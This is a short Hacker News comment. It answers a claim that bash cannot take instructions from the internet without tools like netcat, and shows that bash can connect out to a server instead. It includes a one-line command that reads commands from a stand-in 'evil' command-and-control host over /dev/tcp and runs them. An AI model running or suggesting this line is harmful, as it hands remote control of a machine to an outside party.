Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

> Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd

Not listen, but it can certainly connect out and ask for instructions...

    bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: